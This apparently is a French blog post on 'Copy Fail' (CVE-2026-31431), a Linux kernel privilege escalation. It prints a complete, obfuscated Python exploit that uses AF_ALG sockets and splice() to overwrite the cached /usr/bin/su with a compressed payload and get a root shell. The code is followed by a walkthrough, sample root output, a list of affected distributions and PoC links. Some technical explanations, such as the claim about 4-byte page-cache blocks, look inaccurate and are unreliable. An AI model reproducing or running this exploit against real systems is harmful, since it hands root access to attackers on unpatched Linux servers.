Copy Fail exploit - CVE-2026-31431
by cloud
Copy Fail (CVE-2026-31431) est une vulnérabilité critique de type “container escape” qui permet l’élévation de privilèges depuis un utilisateur standard vers root.
Caractéristiques principales :
- ✅ Fonctionne sur 100% des distributions Linux depuis 2017
- ✅ 732 octets de code Python (stdlib uniquement)
Taille de la payload décompressée : 778 octets compressés → 4012 octets décompressés
CVE-2026-31431
Vulnérabilité
La faille réside dans une erreur de logique du copier (authencesn), exploitée via AF_ALG et splice() pour écrire dans le cache de pages.
Mécanisme technique :
- Une optimisation introduite en 2017 dans
algif_aeadpermettait au cache de pages de se retrouver dans une liste de diffusion cible modifiable - Le socket AF_ALG (Family 38, Type 5 = SOCK_SEQPACKET) permet d’accéder à l’API cryptographique du noyau
splice()transfère des données entre pipes sans lecture/écriture intermédiaires, contournant les protections de sécurité- En combinant ces composants, un utilisateur peut modifier le cache de pages d’un binaire setuid
Timeline de Disclosure
| Date | Événement |
|---|---|
| 2026-03-23 | Rapport à la Linux Foundation |
| 2026-03-24 | Premier signalement |
| 2026-03-25 | Patch proposé |
| 2026-04-01 | Patch dans mainline (a664bf3d603d) |
| 2026-04-22 | CVE attribué |
| 2026-04-29 | Disclosure publique |
Code Source
Exploit Complet (732 octets)
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
Analyse Détaillée du Code
def c(f,t,c):
# Configuration du socket AF_ALG pour accès cryptographique
# Attend connexion, envoie payload via sendmsg()
# splice() transfère la modification dans le cache de pages
# Gestion erreurs silencieuse
Pour comprendre le fonctionnement global, visualisons le processus en 3 étapes :
Étape 1 : Établissement de connexion cryptographique
Le script crée un socket AF_ALG, le configure avec des options d’authentification HMAC-SHA256/CBC-AES, et attend une connexion. Une fois connectée, le socket a le droit d’accéder à l’API cryptographique du noyau.
Étape 2 : Injection via sendmsg() avec contrôle de socket
sendmsg() envoie des données aux socket, mais avec des contrôle de socket (cmsg) spécifiques qui configurent le socket pour pouvoir écrire hors des frontières habituelles.
C’est ici que la vulnérabilité opère : le socket AF_ALG configuré correctement peut écrire dans le cache de pages, pas seulement dans les destinations de socket normales.
Étape 3 : Exploitation via splice()
splice() est une syscall kernel conçue pour transférer des données entre pipes sans passer par buffers userspace. Le script :
- Crée un pipe (
pipe()) - Écrit dans le fichier cible via
splice()(déclarant écrire dans le pipe mais en réalité écrivant dans le cache de pages) - Lit/écrit via le socket via
splice()
Le bug : Le kernel croit que splice() écrit dans un pipe ordinaire, mais les options socket AF_ALG permettent d’écrire dans le cache de pages. Le fichier sur disque n’est pas modifié, seulement le cache mémoire.
Gestion d’erreur : Le script ignore les erreurs de réception de socket pour continuer à exploiter.
Boucle d’Écriture
Le script ouvre /usr/bin/su en écriture, décompression le payload de 778 octets, puis écrit 4 octets à la fois dans le cache de pages (itérant ~1000 fois) :
f=g.open("/usr/bin/su",0)
e=zlib.decompress(d("78daab77..."))
while i<len(e):
c(f,i,e[i:i+4])
i+=4
Pourquoi 4 octets ? C’est l’unité naturelle du cache de pages. Le kernel gère et modifie les pages par blocs de 4 octets.
Exécution Finale
g.system("su")
Lorsque su s’exécute, le kernel charge le binaire depuis le cache de pages (modifié) et non depuis le fichier disque. Résultat : su s’exécute en root.
$ ./exploit.py && su
# $ id
uid=0(root) gid=1002(user) groups=1002(user)
CQFD : Élévation de privilèges complète.
Systèmes Affectés
Distributions Testées
| Distribution | Noyau | Kernel Version | Status |
|---|---|---|---|
| Ubuntu 24.04 LTS | Linux 6.17 | 6.17.0-1007-aws | ✅ Affecté |
| Amazon Linux 2023 | Linux 6.18 | 6.18.8-9.213.amzn2023 | ✅ Affecté |
| RHEL 10.1 | Linux 6.12 | 6.12.0-124.45.1.el10_1 | ✅ Affecté |
| SUSE 16 | Linux 6.12 | 6.12.0-160000.9-default | ✅ Affecté |
Autres Distributions Concernées (non testées mais impliques)
- Debian (toutes versions post-2017)
- Arch Linux
- Fedora
- Rocky Linux
- AlmaLinux
- Oracle Linux
- CentOS
- Toutes les distributions embarquées
Condition : Noyaux construits entre 2017 (introduction de l’optimisation algif_aead) et le 1er avril 2026.
Liens Utilisateurs
- Exploit PoC : https://github.com/theori-io/copy-fail-CVE-2026-31431
- Site Copy Fail : https://copy.fail
- Write-up complet : https://xint.io/blog/copy-fail-linux-distributions
- Xint Code (Source de la découverte) : https://code.xint.io/
- Tracker de bugs publics : https://xint.io/public-bug-tracker
Conclusion
CVE-2026-31431 Copy Fail est une vulnérabilité critique touchant la majorité des serveurs linux en production. Sa capacité à fonctionner universellement et sans conditions exceptionnelles représente un risque majeur donc patchez.
Have fun.
tags: security - exploit